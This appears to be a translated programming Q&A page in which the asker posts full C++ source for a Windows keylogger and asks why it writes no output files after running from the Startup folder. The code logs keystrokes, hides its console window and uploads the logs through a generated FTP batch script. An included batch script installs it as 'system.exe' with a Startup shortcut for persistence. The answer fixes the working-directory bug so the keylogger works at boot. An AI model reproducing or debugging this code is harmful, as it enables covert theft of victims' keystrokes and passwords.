程序无法写入文件 我有一个.exe程序,用C++编写,它输出在运行时执行的TXT和.BAT文件。当我手动运行程序时,程序运行良好。然后我将.exe放入具有此路径的启动文件夹 %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
我尝试在启动文件夹中手动执行.exe,程序运行正常 然后我试着重新启动我的电脑。main.exe工作正常,但是所有文件输出都出错。启动文件夹中看不到由.exe生成的txt和bat。但是.exe运行正常。我想这只是因为文件输出受到了某种限制,我不知道。也许是关于权限?但我的是管理员帐户 我还尝试将.exe保存在以下目录中程序无法写入文件 我有一个.exe程序,用C++编写,它输出在运行时执行的TXT和.BAT文件。当我手动运行程序时,程序运行良好。然后我将.exe放入具有此路径的启动文件夹 %appdata%\Microsoft\Windows\Start Menu\Programs\Startup,c++,windows,batch-file,C++,Windows,Batch File,我尝试在启动文件夹中手动执行.exe,程序运行正常 然后我试着重新启动我的电脑。main.exe工作正常,但是所有文件输出都出错。启动文件夹中看不到由.exe生成的txt和bat。但是.exe运行正常。我想这只是因为文件输出受到了某种限制,我不知道。也许是关于权限?但我的是管理员帐户 我还尝试将.exe保存在以下目录中 %USERPROFILE%\sys\ 我创建了sys\文件夹 然后我制作了一个.lnk快捷方式,指向上面启动文件夹中的.exe 我双击了.lnk,程序运行正常,但奇怪的是.tx
%USERPROFILE%\sys\
我创建了sys\文件夹
然后我制作了一个.lnk快捷方式,指向上面启动文件夹中的.exe
我双击了.lnk,程序运行正常,但奇怪的是.txt和.bat出现在启动文件夹中,而不是.exe实际所在的目录中。我希望文件显示在%USERPROFILE%\sys中\
但后来我试着重新启动我的电脑。同样的问题,程序运行正常,但没有文件输出
谢谢你的帮助
这是我的C++代码,但我认为应该是好的。
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Lmcons.h>
#include <time.h>
#include <sstream>
#include <string>
using namespace std;
string getFileName();
string getDate();
void upload()
{
//rename
string oldname = getFileName();
string newname = getFileName() + "_" + getDate();
rename(oldname.c_str(), newname.c_str());
//upload
ofstream bat("upload.bat");
if (bat.is_open())
{
bat << "@echo off" << "\n";
bat << "ftp -s:ftp.txt" << "\n";
bat.close();
}
ofstream ftp("ftp.txt");
if (ftp.is_open())
{
ftp << // I've hidden this for obvious reasons
ftp.close();
}
system("upload.bat");
remove("upload.bat");
remove("ftp.txt");
}
void startup()
{
ifstream file(getFileName().c_str());
if (file.is_open())
{
file.close();
upload();
}
}
int Save (int key_stroke, string file);
void Stealth();
string getComputerName()
{
TCHAR computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(computerName) / sizeof(computerName[0]);
GetComputerName(computerName, &size);
return computerName;
}
string getUserName()
{
TCHAR name [UNLEN + 1];
DWORD size = UNLEN + 1;
if (GetUserName( (TCHAR*)name, &size ))
{
return name;
}
else
{
return "nil";
}
}
string getDate()
{
time_t seconds;
time(&seconds);
std::stringstream ss;
ss << seconds;
std::string ts = ss.str();
return ts;
}
string getFileName()
{
string filename = getUserName() + "@" + getComputerName();
return filename;
}
int main()
{
//Stealth();
startup();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save(i, getFileName());
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, string file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file.c_str(), "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == 20)
fprintf(OUTPUT_FILE, "%s", "[CAPS]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 46)
fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
md "%USERPROFILE%\sys\"
set copy="%~dp0system.exe"
set target="%USERPROFILE%\sys\"
xcopy /c "%copy%" "%target%" /i /r /f
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\startup.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "%USERPROFILE%\sys\system.exe" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
pause
如果未指定绝对路径,文件将保存(如果权限允许)在工作目录中。这与实际可执行文件所在的目录不同 这就是为什么快捷方式也不起作用。它有一个单独的工作目录设置,如果没有设置,它将不会被设置到可执行文件的位置 您可以更改工作目录以匹配可执行文件的目录,也可以使用其他绝对路径来修复它。添加此功能
string ExePath()
{
char buffer[MAX_PATH];
GetModuleFileName( NULL, buffer, MAX_PATH );
string::size_type pos = string( buffer ).find_last_of( "\\/" );
return string( buffer ).substr( 0, pos);
}
并在main()中设置工作目录
非常好,谢谢。您没有设置工作目录。这可能是完全不同的。但输出文件仍应显示在与.exe相同的目录中?否。它们显示在工作目录中。转到%userprofile%并运行
sys\yourthing.exe
查看文件的位置。这就是为什么快捷方式的工作文件夹设置也与sys中的.exe显示在同一目录中的原因\n手动执行和启动执行是否可能是使用不同的用户权限完成的?
chdir(ExePath().c_str());